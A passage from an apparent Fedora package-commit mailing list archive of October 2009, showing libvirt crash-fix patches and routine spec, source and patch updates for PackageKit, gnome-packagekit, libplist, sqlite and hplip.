     if ((ctl->log_fd = open(ctl->logfile, LOGFILE_FLAGS, FILE_MODE)) < 0) {
-        vshError(ctl, TRUE, "%s",
+        vshError(ctl, "%s",
                  _("failed to open the log file. check the log file path"));
+        exit(EXIT_FAILURE);
     }
 }
 
@@ -8395,7 +8374,7 @@ vshOutputLogFile(vshControl *ctl, int log_level, const char *msg_format, va_list
     /* write log */
     if (safewrite(ctl->log_fd, msg_buf, strlen(msg_buf)) < 0) {
         vshCloseLogFile(ctl);
-        vshError(ctl, FALSE, "%s", _("failed to write the log file"));
+        vshError(ctl, "%s", _("failed to write the log file"));
     }
 }
 
@@ -8410,7 +8389,7 @@ vshCloseLogFile(vshControl *ctl)
     /* log file close */
     if (ctl->log_fd >= 0) {
         if (close(ctl->log_fd) < 0)
-            vshError(ctl, FALSE, _("%s: failed to write log file: %s"),
+            vshError(ctl, _("%s: failed to write log file: %s"),
                      ctl->logfile ? ctl->logfile : "?", strerror (errno));
         ctl->log_fd = -1;
     }
@@ -8588,9 +8567,7 @@ vshDeinit(vshControl *ctl)
     free(ctl->name);
     if (ctl->conn) {
         if (virConnectClose(ctl->conn) != 0) {
-            ctl->conn = NULL;   /* prevent recursive call from vshError() */
-            vshError(ctl, TRUE, "%s",
-                     _("failed to disconnect from the hypervisor"));
+            vshError(ctl, "%s", _("failed to disconnect from the hypervisor"));
         }
     }
     virResetLastError();
@@ -8715,16 +8692,16 @@ vshParseArgv(vshControl *ctl, int argc, char **argv)
             ctl->logfile = vshStrdup(ctl, optarg);
             break;
         default:
-            vshError(ctl, TRUE,
-                     _("unsupported option '-%c'. See --help."), arg);
-            break;
+            vshError(ctl, _("unsupported option '-%c'. See --help."), arg);
+            exit(EXIT_FAILURE);
         }
     }
 
     if (help) {
-        if (end < argc)
-            vshError(ctl, TRUE,
-                     _("extra argument '%s'. See --help."), argv[end]);
+        if (end < argc) {
+            vshError(ctl, _("extra argument '%s'. See --help."), argv[end]);
+            exit(EXIT_FAILURE);
+        }
 
         /* list all command */
         vshUsage();
-- 
1.6.2.5


libvirt-fix-crash-on-device-hotplug-parse-error.patch:
 qemu_driver.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE libvirt-fix-crash-on-device-hotplug-parse-error.patch ---
>From a5fa9f63fcffbf70465386672f24edac439866b9 Mon Sep 17 00:00:00 2001
From: Daniel P. Berrange <berrange at redhat.com>
Date: Thu, 24 Sep 2009 15:42:25 +0100
Subject: [PATCH] Fix crash in device hotplug cleanup code

* src/qemu/qemu_driver.c: Fix crash in scenario where XML
  parsing of hotplugged device failed & thus 'dev' is NULL

(cherry picked from commit 879cd8cc2ba00f795913f296556e05f25afa7877)

Fedora-patch: libvirt-fix-crash-on-device-hotplug-parse-error.patch
---
 src/qemu_driver.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/qemu_driver.c b/src/qemu_driver.c
index 0ce403c..c956258 100644
--- a/src/qemu_driver.c
+++ b/src/qemu_driver.c
@@ -5912,7 +5912,7 @@ cleanup:
     if (cgroup)
         virCgroupFree(&cgroup);
 
-    if (ret < 0) {
+    if (ret < 0 && dev != NULL) {
         if (qemuDomainSetDeviceOwnership(dom->conn, driver, dev, 1) < 0)
             VIR_WARN0("Fail to restore disk device ownership");
         virDomainDeviceDefFree(dev);
-- 
1.6.2.5


libvirt-fix-crash-on-missing-iface-target-dev.patch:
 domain_conf.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE libvirt-fix-crash-on-missing-iface-target-dev.patch ---
>From 7bc1491deba6338e514504d1b68fe097e7f2bf19 Mon Sep 17 00:00:00 2001
From: Daniel Veillard <veillard at redhat.com>
Date: Thu, 1 Oct 2009 11:54:38 +0200
Subject: [PATCH] Avoid a libvirtd crash on broken input 523418

* src/conf/domain_conf.c: a simple typo in an XML domain file could lead
  to a crash, because we called STRPREFIX() on the looked up value without
  checking it was non-null.

(cherry picked from commit 79d233b5ca62f86ab22d271d1f08ec20060eee88)

Fedora-patch: libvirt-fix-crash-on-missing-iface-target-dev.patch
---
 src/domain_conf.c |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/src/domain_conf.c b/src/domain_conf.c
index c424c67..476cdd7 100644
--- a/src/domain_conf.c
+++ b/src/domain_conf.c
@@ -1031,7 +1031,8 @@ virDomainNetDefParseXML(virConnectPtr conn,
             } else if ((ifname == NULL) &&
                        xmlStrEqual(cur->name, BAD_CAST "target")) {
                 ifname = virXMLPropString(cur, "dev");
-                if (STRPREFIX((const char*)ifname, "vnet")) {
+                if ((ifname != NULL) &&
+                    (STRPREFIX((const char*)ifname, "vnet"))) {
                     /* An auto-generated target name, blank it out */
                     VIR_FREE(ifname);
                 }
-- 
1.6.2.5


libvirt-fix-xen-driver-refcounting.patch:
 xen_inotify.c |    2 --
 xs_internal.c |    4 ----
 2 files changed, 6 deletions(-)

--- NEW FILE libvirt-fix-xen-driver-refcounting.patch ---
>From cab81502320d97dac4c5c12e7496f30896709c49 Mon Sep 17 00:00:00 2001
From: Matthias Bolte <matthias.bolte at googlemail.com>
Date: Tue, 22 Sep 2009 15:12:48 +0200
Subject: [PATCH] Fix xen driver refcounting.

The commit cb51aa48a777ddae6997faa9f28350cb62655ffd "Fix up connection
reference counting." changed the driver closing and virConnectPtr
unref-logic in virConnectClose().

Before this commit virConnectClose() closed all drivers of the given
virConnectPtr and virUnrefConnect()'ed it afterwards. After this
commit the driver-closing is done in virUnrefConnect() if and only if
the ref-count of the virConnectPtr dropped to zero.

This change in execution order leads to a virConnectPtr leak, at least
for connections to Xen.

The relevant call sequences:

virConnectOpen() -> xenUnifiedOpen() ...

... xenInotifyOpen() -> virConnectRef(conn)

... xenStoreOpen() -> xenStoreAddWatch() -> conn->refs++

virConnectClose() -> xenUnifiedClose() ...

... xenInotifyClose() -> virUnrefConnect(conn)

... xenStoreClose() -> xenStoreRemoveWatch() -> virUnrefConnect(conn)

Before the commit this additional virConnectRef/virUnrefConnect calls
where no problem, because virConnectClose() closed the drivers
explicitly and the additional refs added by the Xen subdrivers were
removed properly. After the commit this additional refs result in a
virConnectPtr leak (including a leak of the hypercall file handle;
that's how I noticed this problem), because now the drivers are only
close if and only if the ref-count drops to zero, but this cannot
happen anymore, because the additional refs from the Xen subdrivers
would only be removed if the drivers get closed, but that doesn't
happen because the ref-count cannot drop to zero.

The fix for this problem is simple: remove the
virConnectRef/virUnrefConnect calls from the Xen subdrivers (see
attached patch). Maybe someone could explain why the Xen Inotify and
Xen Store driver do this extra ref-counting, but none of the other Xen
subdrivers. It seems unnecessary to me and can be removed without
problems.

Signed-off-by: Chris Lalancette <clalance at redhat.com>

(cherry picked from commit 6ed7374c5a6c6a2b1b1801d7d041dc7f09748592)

Fedora-patch: libvirt-fix-xen-driver-refcounting.patch
---
 src/xen_inotify.c |    2 --
 src/xs_internal.c |    3 ---
 2 files changed, 0 insertions(+), 5 deletions(-)

diff --git a/src/xen_inotify.c b/src/xen_inotify.c
index e312b9e..ecaefaf 100644
--- a/src/xen_inotify.c
+++ b/src/xen_inotify.c
@@ -463,7 +463,6 @@ xenInotifyOpen(virConnectPtr conn ATTRIBUTE_UNUSED,
         DEBUG0("Failed to add inotify handle, disabling events");
     }
 
-    virConnectRef(conn);
     return 0;
 }
 
@@ -486,7 +485,6 @@ xenInotifyClose(virConnectPtr conn)
     if (priv->inotifyWatch != -1)
         virEventRemoveHandle(priv->inotifyWatch);
     close(priv->inotifyFD);
-    virUnrefConnect(conn);
 
     return 0;
 }
diff --git a/src/xs_internal.c b/src/xs_internal.c
index 1f54b1f..a18dcad 100644
--- a/src/xs_internal.c
+++ b/src/xs_internal.c
@@ -1139,8 +1139,6 @@ int xenStoreAddWatch(virConnectPtr conn,
     list->watches[n] = watch;
     list->count++;
 
-    conn->refs++;
-
     return xs_watch(priv->xshandle, watch->path, watch->token);
 }
 
@@ -1190,7 +1188,6 @@ int xenStoreRemoveWatch(virConnectPtr conn,
                 ; /* Failure to reduce memory allocation isn't fatal */
             }
             list->count--;
-            virUnrefConnect(conn);
             return 0;
         }
     }
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.193
retrieving revision 1.194
diff -u -p -r1.193 -r1.194
--- libvirt.spec	29 Oct 2009 10:14:00 -0000	1.193
+++ libvirt.spec	29 Oct 2009 10:40:45 -0000	1.194
@@ -199,6 +199,18 @@ Patch17: libvirt-qemu-machine-type-fixes
 Patch18: libvirt-storage-iscsi-auth-xml-formatting.patch
 Patch19: libvirt-network-delay-attribute-formatting.patch
 
+# Fix xen driver recounting (#531429)
+Patch20: libvirt-fix-xen-driver-refcounting.patch
+
+# Fix crash on virsh error (#531429)
+Patch21: libvirt-double-free-on-virsh-error.patch
+
+# Fix segfault where XML parsing fails in qemu disk hotplug
+Patch22: libvirt-fix-crash-on-device-hotplug-parse-error.patch
+
+# Fix segfault where interface target device name is ommitted (#523418)
+Patch23: libvirt-fix-crash-on-missing-iface-target-dev.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -433,6 +445,10 @@ of recent versions of Linux (and other O
 %patch17 -p1
 %patch18 -p1
 %patch19 -p1
+%patch20 -p1
+%patch21 -p1
+%patch22 -p1
+%patch23 -p1
 
 %build
 # Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
@@ -829,6 +845,10 @@ fi
 %changelog
 * Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-14
 - Make libvirt-devel require libvirt-client, not libvirt
+- Fix xen driver recounting (#531429)
+- Fix crash on virsh error (#531429)
+- Fix segfault where XML parsing fails in qemu disk hotplug
+- Fix segfault where interface target device name is ommitted (#523418)
 
 * Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-13
 - Misc fixes to qemu machine types handling



From rhughes at fedoraproject.org  Thu Oct 29 10:42:42 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Thu, 29 Oct 2009 10:42:42 +0000 (UTC)
Subject: rpms/gnome-packagekit/F-12 .cvsignore, 1.58,
	1.59 gnome-packagekit.spec, 1.102, 1.103 sources, 1.59, 1.60
Message-ID: <20091029104242.DD3DA11C008B@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/gnome-packagekit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8088

Modified Files:
	.cvsignore gnome-packagekit.spec sources 
Log Message:
* Thu Oct 29 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.2-0.1.20091029git
- New snapshot from the gnome-2-28 branch
- Many updated translations.
- Fixes #529960 and #530595



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-packagekit/F-12/.cvsignore,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- .cvsignore	19 Oct 2009 10:57:38 -0000	1.58
+++ .cvsignore	29 Oct 2009 10:42:42 -0000	1.59
@@ -1 +1 @@
-gnome-packagekit-2.28.1.tar.bz2
+gnome-packagekit-2.28.2-20091029.tar.gz


Index: gnome-packagekit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-packagekit/F-12/gnome-packagekit.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- gnome-packagekit.spec	19 Oct 2009 10:49:33 -0000	1.102
+++ gnome-packagekit.spec	29 Oct 2009 10:42:42 -0000	1.103
@@ -7,20 +7,20 @@
 %define unique_version			1.0.0
 %define devicekit_power_version		007
 %define libcanberra_version		0.10
-%define alphatag			20090928
+%define alphatag			20091029
 
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Summary:   Session applications to manage packages
 Name:      gnome-packagekit
-Version:   2.28.1
-#Release:   0.1.%{?alphatag}git%{?dist}
-Release:   1%{?dist}
+Version:   2.28.2
+Release:   0.1.%{?alphatag}git%{?dist}
+#Release:   1%{?dist}
 License:   GPLv2+
 Group:     Applications/System
 URL:       http://www.packagekit.org
-Source0:   http://download.gnome.org/sources/gnome-packagekit/2.28/%{name}-%{version}.tar.bz2
-#Source0:   http://download.gnome.org/sources/gnome-packagekit/2.28/%{name}-%{version}-%{?alphatag}.tar.gz
+#Source0:   http://download.gnome.org/sources/gnome-packagekit/2.28/%{name}-%{version}.tar.bz2
+Source0:   http://download.gnome.org/sources/gnome-packagekit/2.28/%{name}-%{version}-%{?alphatag}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires:  glib2 >= %{glib2_version}
@@ -86,8 +86,8 @@ Requires: %{name} = %{version}-%{release
 Extra GNOME applications for using PackageKit that are not normally needed.
 
 %prep
-#%setup -q -n %{?name}-%{?version}-%{?alphatag}
-%setup -q
+%setup -q -n %{?name}-%{?version}-%{?alphatag}
+#%setup -q
 
 %build
 %configure --disable-scrollkeeper --disable-schemas-install
@@ -221,6 +221,11 @@ update-mime-database %{_datadir}/mime &>
 %{_datadir}/applications/gpk-log.desktop
 
 %changelog
+* Thu Oct 29 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.2-0.1.20091029git
+- New snapshot from the gnome-2-28 branch
+- Many updated translations.
+- Fixes #529960 and #530595
+
 * Mon Oct 19 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.1-1
 - Update to 2.28.1
 - Translation updates


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-packagekit/F-12/sources,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- sources	19 Oct 2009 10:57:38 -0000	1.59
+++ sources	29 Oct 2009 10:42:42 -0000	1.60
@@ -1 +1 @@
-bfef5e5f8911adbb19b699afb0db4b14  gnome-packagekit-2.28.1.tar.bz2
+2d4f7acff4a1d21172298b858e612f34  gnome-packagekit-2.28.2-20091029.tar.gz



From rhughes at fedoraproject.org  Thu Oct 29 10:43:34 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Thu, 29 Oct 2009 10:43:34 +0000 (UTC)
Subject: rpms/PackageKit/F-12 .cvsignore, 1.60, 1.61 PackageKit.spec, 1.123, 
	1.124 sources, 1.61, 1.62
Message-ID: <20091029104334.17CA311C008B@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/PackageKit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8399

Modified Files:
	.cvsignore PackageKit.spec sources 
Log Message:
* Thu Oct 29 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.4-0.1.20091029git
- Update to a newer git snapshot from the 0.5.x series.
- Check the language code exists before we search for it.
- Add the missing InstallSignature role from the backend auto-detection.
- Disable repos that are not contactable at backend start.
- Don't allow double clicking SRPM and fix the cryptic message.
- Fixes #529349, #531105, #530945, #531306 and #530264



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/PackageKit/F-12/.cvsignore,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- .cvsignore	5 Oct 2009 10:29:17 -0000	1.60
+++ .cvsignore	29 Oct 2009 10:43:33 -0000	1.61
@@ -1 +1 @@
-PackageKit-0.5.3.tar.gz
+PackageKit-0.5.4-20091029.tar.bz2


Index: PackageKit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PackageKit/F-12/PackageKit.spec,v
retrieving revision 1.123
retrieving revision 1.124
diff -u -p -r1.123 -r1.124
--- PackageKit.spec	5 Oct 2009 10:31:20 -0000	1.123
+++ PackageKit.spec	29 Oct 2009 10:43:33 -0000	1.124
@@ -3,20 +3,20 @@
 %define dbus_glib_version		0.74
 %define polkit_version			0.92
 %define libnm_glib_version		0.6.4
-%define alphatag			20090928
+%define alphatag			20091029
 
 %{!?python_sitelib: %define python_sitelib %(python -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Summary:   Package management service
 Name:      PackageKit
-Version:   0.5.3
-#Release:   0.2.%{?alphatag}git%{?dist}
-Release:   1%{?dist}
+Version:   0.5.4
+Release:   0.1.%{?alphatag}git%{?dist}
+#Release:   1%{?dist}
 License:   GPLv2+
 Group:     System Environment/Libraries
 URL:       http://www.packagekit.org
-#Source0:   http://www.packagekit.org/releases/%{name}-%{version}-%{?alphatag}.tar.gz
-Source0:   http://www.packagekit.org/releases/%{name}-%{version}.tar.gz
+Source0:   http://www.packagekit.org/releases/%{name}-%{version}-%{?alphatag}.tar.bz2
+#Source0:   http://www.packagekit.org/releases/%{name}-%{version}.tar.bz2
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # Fedora-specific: set Vendor.conf up for Fedora.
@@ -240,8 +240,8 @@ after firmware has been installed by Pac
 user to restart the computer or remove and re-insert the device.
 
 %prep
-#%setup -q -n %{?name}-%{?version}-%{?alphatag}
-%setup -q
+%setup -q -n %{?name}-%{?version}-%{?alphatag}
+#%setup -q
 %patch0 -p1 -b .fedora
 %patch1 -p1 -b .no-time
 
@@ -454,7 +454,15 @@ update-mime-database %{_datadir}/mime &>
 %{_includedir}/PackageKit/backend/*.h
 
 %changelog
-* Mon Oct 05 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.3-1
+* Thu Oct 29 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.4-0.1.20091029git
+- Update to a newer git snapshot from the 0.5.x series.
+- Check the language code exists before we search for it.
+- Add the missing InstallSignature role from the backend auto-detection.
+- Disable repos that are not contactable at backend start.
+- Don't allow double clicking SRPM and fix the cryptic message.
+- Fixes #529349, #531105, #530945, #531306 and #530264
+
+* Mon Oct 05 2009 Richard Hughes  <rhughes at redhat.com> - 0.5.4-1
 - Update to 0.5.3.
 - Fix double free in pk-gstreamer-install which causes a crash. Fixes #526600
 - Exit pk-command-not-found with 127 when we have not run a program. Fixes #527044


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/PackageKit/F-12/sources,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- sources	5 Oct 2009 10:29:17 -0000	1.61
+++ sources	29 Oct 2009 10:43:33 -0000	1.62
@@ -1 +1 @@
-cbd7eb264c2536c363dc113eab60def3  PackageKit-0.5.3.tar.gz
+9c8d234ee62147f8d953da3cd61fb5a9  PackageKit-0.5.4-20091029.tar.bz2



From pbrobinson at fedoraproject.org  Thu Oct 29 10:48:36 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 29 Oct 2009 10:48:36 +0000 (UTC)
Subject: rpms/libplist/devel libplist-0.16-fix-python-lib-path.patch, NONE, 
	1.1 libplist.spec, 1.6, 1.7
Message-ID: <20091029104836.0EB0811C008B@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/libplist/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10166

Modified Files:
	libplist.spec 
Added Files:
	libplist-0.16-fix-python-lib-path.patch 
Log Message:
- Actually add patch for python

libplist-0.16-fix-python-lib-path.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE libplist-0.16-fix-python-lib-path.patch ---
Index: libplist-0.16/swig/CMakeLists.txt
===================================================================
--- libplist-0.16/swig/CMakeLists.txt
+++ libplist-0.16/swig/CMakeLists.txt	2009-10-29 09:53:16.000000000 +0100
@@ -9,7 +9,7 @@
 SWIG_LINK_LIBRARIES( PList plist plist++ ${PYTHON_LIBRARIES} )
 
 EXEC_PROGRAM("${PYTHON_EXECUTABLE}"
-    ARGS "-c 'try:\n import distutils.sysconfig; print distutils.sysconfig.get_python_lib()\nexcept: pass\n'"
+    ARGS "-c 'try:\n import distutils.sysconfig; print distutils.sysconfig.get_python_lib(plat_specific=1)\nexcept: pass\n'"
     OUTPUT_VARIABLE DISTUTILS_PYTHON_ILIBRARY_PATH
     )
 


Index: libplist.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libplist/devel/libplist.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- libplist.spec	29 Oct 2009 10:17:02 -0000	1.6
+++ libplist.spec	29 Oct 2009 10:48:35 -0000	1.7
@@ -2,7 +2,7 @@
 
 Name:           libplist
 Version:        0.16
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Library for manipulating Apple Binary and XML Property Lists
 
 Group:          System Environment/Libraries
@@ -85,6 +85,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/libplist
 
 %changelog
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.16-3
+- Actually add patch for python
+
 * Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.16-2
 - Add python patch and c++ bindings
 



From pmatilai at fedoraproject.org  Thu Oct 29 10:50:09 2009
From: pmatilai at fedoraproject.org (Panu Matilainen)
Date: Thu, 29 Oct 2009 10:50:09 +0000 (UTC)
Subject: rpms/sqlite/F-11 sources, 1.25, 1.26 sqlite.spec, 1.57,
	1.58 sqlite-3.6.12-memalign.patch, 1.1,
	NONE sqlite-3.6.12-no-sqlite-doc.patch, 1.1, NONE
Message-ID: <20091029105009.BEC8111C0371@cvs1.fedora.phx.redhat.com>

Author: pmatilai

Update of /cvs/pkgs/rpms/sqlite/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9570

Modified Files:
	sources sqlite.spec 
Removed Files:
	sqlite-3.6.12-memalign.patch sqlite-3.6.12-no-sqlite-doc.patch 
Log Message:
Update to satisfy new xulrunner requirements
- xulrunner needs sqlite >= 3.6.16 (#531232), sync with known good
  F-12 package to get version 3.6.17



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sqlite/F-11/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	3 Apr 2009 09:49:27 -0000	1.25
+++ sources	29 Oct 2009 10:50:09 -0000	1.26
@@ -1 +1,2 @@
-13600865a69a3f54d2ac42a0d6b743db  sqlite-3.6.12.tar.gz
+f89f62afc765e08b3f0e47cdc47a15d4  sqlite-3.6.17.tar.gz
+a9081064aecf1a512aa0ca442803460c  sqlite_docs_3_6_17.zip


Index: sqlite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sqlite/F-11/sqlite.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- sqlite.spec	9 Apr 2009 14:58:48 -0000	1.57
+++ sqlite.spec	29 Oct 2009 10:50:09 -0000	1.58
@@ -3,21 +3,27 @@
 %bcond_with static
 %bcond_without check
 
+# upstream doesn't provide separate -docs sources for all minor releases
+%define basever 3.6.17
+%define docver %(echo %{basever}|sed -e "s/\\./_/g")
+
 Summary: Library that implements an embeddable SQL database engine
 Name: sqlite
-Version: 3.6.12
-Release: 3%{?dist}
+Version: %{basever}
+Release: 1%{?dist}
 License: Public Domain
-Group: 	Applications/Databases
+Group: Applications/Databases
 URL: http://www.sqlite.org/
-Source: http://www.sqlite.org/sqlite-%{version}.tar.gz
+Source0: http://www.sqlite.org/sqlite-%{version}.tar.gz
+Source1: http://www.sqlite.org/sqlite_docs_%{docver}.zip
 # Fix build with --enable-load-extension, upstream ticket #3137
 Patch1: sqlite-3.6.12-libdl.patch
 # Avoid insecure sprintf(), use a system path for lempar.c, patch from Debian
 Patch2: sqlite-3.6.6.2-lemon-snprintf.patch
-Patch3: sqlite-3.6.12-no-sqlite-doc.patch
-Patch4: sqlite-3.6.12-memalign.patch
-Obsoletes: sqlite3 sqlite3-devel
+# Fixup io-test fsync expectations wrt SQLITE_DISABLE_DIRSYNC
+Patch3: sqlite-3.6.13-iotest-nodirsync.patch
+# Disable two tests failing on at least on x86_64, ticket #3951
+Patch4: sqlite-3.6.17-tkt3951.patch
 BuildRequires: ncurses-devel readline-devel glibc-devel
 # libdl patch needs
 BuildRequires: autoconf
@@ -39,7 +45,7 @@ supporting a separate database server.  
 are named to permit each to be installed on a single host
 
 %package devel
-Summary: Development tools for the sqlite3 embeddable SQL database engine.
+Summary: Development tools for the sqlite3 embeddable SQL database engine
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: pkgconfig
@@ -49,6 +55,15 @@ This package contains the header files a
 for %{name}. If you like to develop programs using %{name}, you will need 
 to install %{name}-devel.
 
+%package doc
+Summary: Documentation for sqlite
+Group: Documentation
+
+%description doc
+This package contains most of the static HTML files that comprise the
+www.sqlite.org website, including all of the SQL Syntax and the 
+C/C++ interface specs and other miscellaneous documentation.
+
 %package -n lemon
 Summary: A parser generator
 Group: Development/Tools
@@ -66,7 +81,7 @@ embedded controllers.
 
 %if %{with tcl}
 %package tcl
-Summary: Tcl module for the sqlite3 embeddable SQL database engine.
+Summary: Tcl module for the sqlite3 embeddable SQL database engine
 Group: Development/Languages
 Requires: %{name} = %{version}-%{release}
 Requires: tcl(abi) = %{tcl_version}
@@ -76,11 +91,11 @@ This package contains the tcl modules fo
 %endif
 
 %prep
-%setup -q
+%setup -q -a1
 %patch1 -p1 -b .libdl
 %patch2 -p1 -b .lemon-sprintf
-%patch3 -p1 -b .no-sqlite-doc
-%patch4 -p1 -b .align
+%patch3 -p1 -b .nodirsync
+%patch4 -p1 -b .tkt3951
 
 %build
 autoconf
@@ -89,10 +104,13 @@ export CFLAGS="$RPM_OPT_FLAGS -DSQLITE_E
            --enable-threadsafe \
            --enable-threads-override-locks \
            --enable-load-extension \
-	   %{?with_tcl:TCLLIBDIR=%{tcl_sitearch}/sqlite3}
+           %{?with_tcl:TCLLIBDIR=%{tcl_sitearch}/sqlite3}
+
+# rpath removal
+sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
+sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
 
 make %{?_smp_mflags}
-make doc
 
 %install
 rm -rf $RPM_BUILD_ROOT
@@ -115,7 +133,6 @@ rm -f $RPM_BUILD_ROOT/%{_libdir}/*.{la,a
 %if %{with check}
 %check
 # let this fail for now:
-# - io-4.1 and io-4.2.3 fail everywhere
 # - five nan-test broken on PPC (upstream ticket #3404)
 # - bunch of rtree-tests failing on PPC atm
 make test ||:
@@ -145,6 +162,10 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{_libdir}/*.la
 %endif
 
+%files doc
+%defattr(-, root, root)
+%doc %{name}-%{docver}-docs/*
+
 %files -n lemon
 %defattr(-, root, root)
 %{_bindir}/lemon
@@ -157,6 +178,31 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Fri Aug 21 2009 Panu Matilainen <pmatilai at redhat.com> - 3.6.17-1
+- update to 3.6.17 (http://www.sqlite.org/releaselog/3_6_17.html)
+- disable to failing tests until upstream fixes
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.6.14.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri Jun 12 2009 Panu Matilainen <pmatilai at redhat.com> - 3.6.14.2-1
+- update to 3.6.14.2 (#505229)
+
+* Mon May 18 2009 Panu Matilainen <pmatilai at redhat.com> - 3.6.14-2
+- disable rpath
+- add -doc subpackage instead of patching out reference to it
+
+* Thu May 14 2009 Panu Matilainen <pmatilai at redhat.com> - 3.6.14-1
+- update to 3.6.14 (http://www.sqlite.org/releaselog/3_6_14.html)
+- merge-review cosmetics (#226429)
+  - drop ancient sqlite3 obsoletes
+  - fix tab vs space whitespace issues
+  - remove commas from summaries
+- fixup io-test fsync expectations wrt SQLITE_DISABLE_DIRSYNC
+
+* Wed Apr 15 2009 Panu Matilainen <pmatilai at redhat.com> - 3.6.13-1
+- update to 3.6.13
+
 * Thu Apr 09 2009 Dennis Gilmore <dennis at ausil.us> - 3.6.12-3
 - apply upstream patch for memory alignment issue (#494906)
 


--- sqlite-3.6.12-memalign.patch DELETED ---


--- sqlite-3.6.12-no-sqlite-doc.patch DELETED ---



From twaugh at fedoraproject.org  Thu Oct 29 10:53:34 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 10:53:34 +0000 (UTC)
Subject: rpms/hplip/F-12 hplip.spec,1.240,1.241
Message-ID: <20091029105334.18B1611C008B@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11247

Modified Files:
	hplip.spec 
Log Message:
Explain what patch12 is for in comments.


Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/F-12/hplip.spec,v
retrieving revision 1.240
retrieving revision 1.241
diff -u -p -r1.240 -r1.241
--- hplip.spec	28 Oct 2009 17:44:24 -0000	1.240
+++ hplip.spec	29 Oct 2009 10:53:33 -0000	1.241
@@ -146,6 +146,9 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 
 # Give up trying to print a job to a reconnected device (bug #515481).
 %patch11 -p1 -b .device-reconnected
+
+# Set a printer-state-reason when there's a missing required plugin
+# (bug #531330).
 %patch12 -p1 -b .plugin-error
 
 %build



From twaugh at fedoraproject.org  Thu Oct 29 10:53:43 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 10:53:43 +0000 (UTC)
Subject: rpms/hplip/devel hplip.spec,1.240,1.241
Message-ID: <20091029105343.5912411C008B@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/devel
